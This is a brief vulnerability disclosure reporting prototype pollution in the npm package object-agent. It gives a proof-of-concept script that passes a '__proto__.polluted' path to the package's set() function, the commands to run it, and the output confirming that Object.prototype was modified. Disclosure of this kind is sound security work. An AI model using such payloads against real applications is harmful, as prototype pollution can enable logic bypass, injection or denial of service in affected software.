Description

object-agent is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
import { set } from 'object-agent';
var obj = {}
console.log("Before : " + {}.polluted);
set(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

2. Execute the following commands in terminal:

npm i object-agent # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Before : undefined
After : Yes! Its Polluted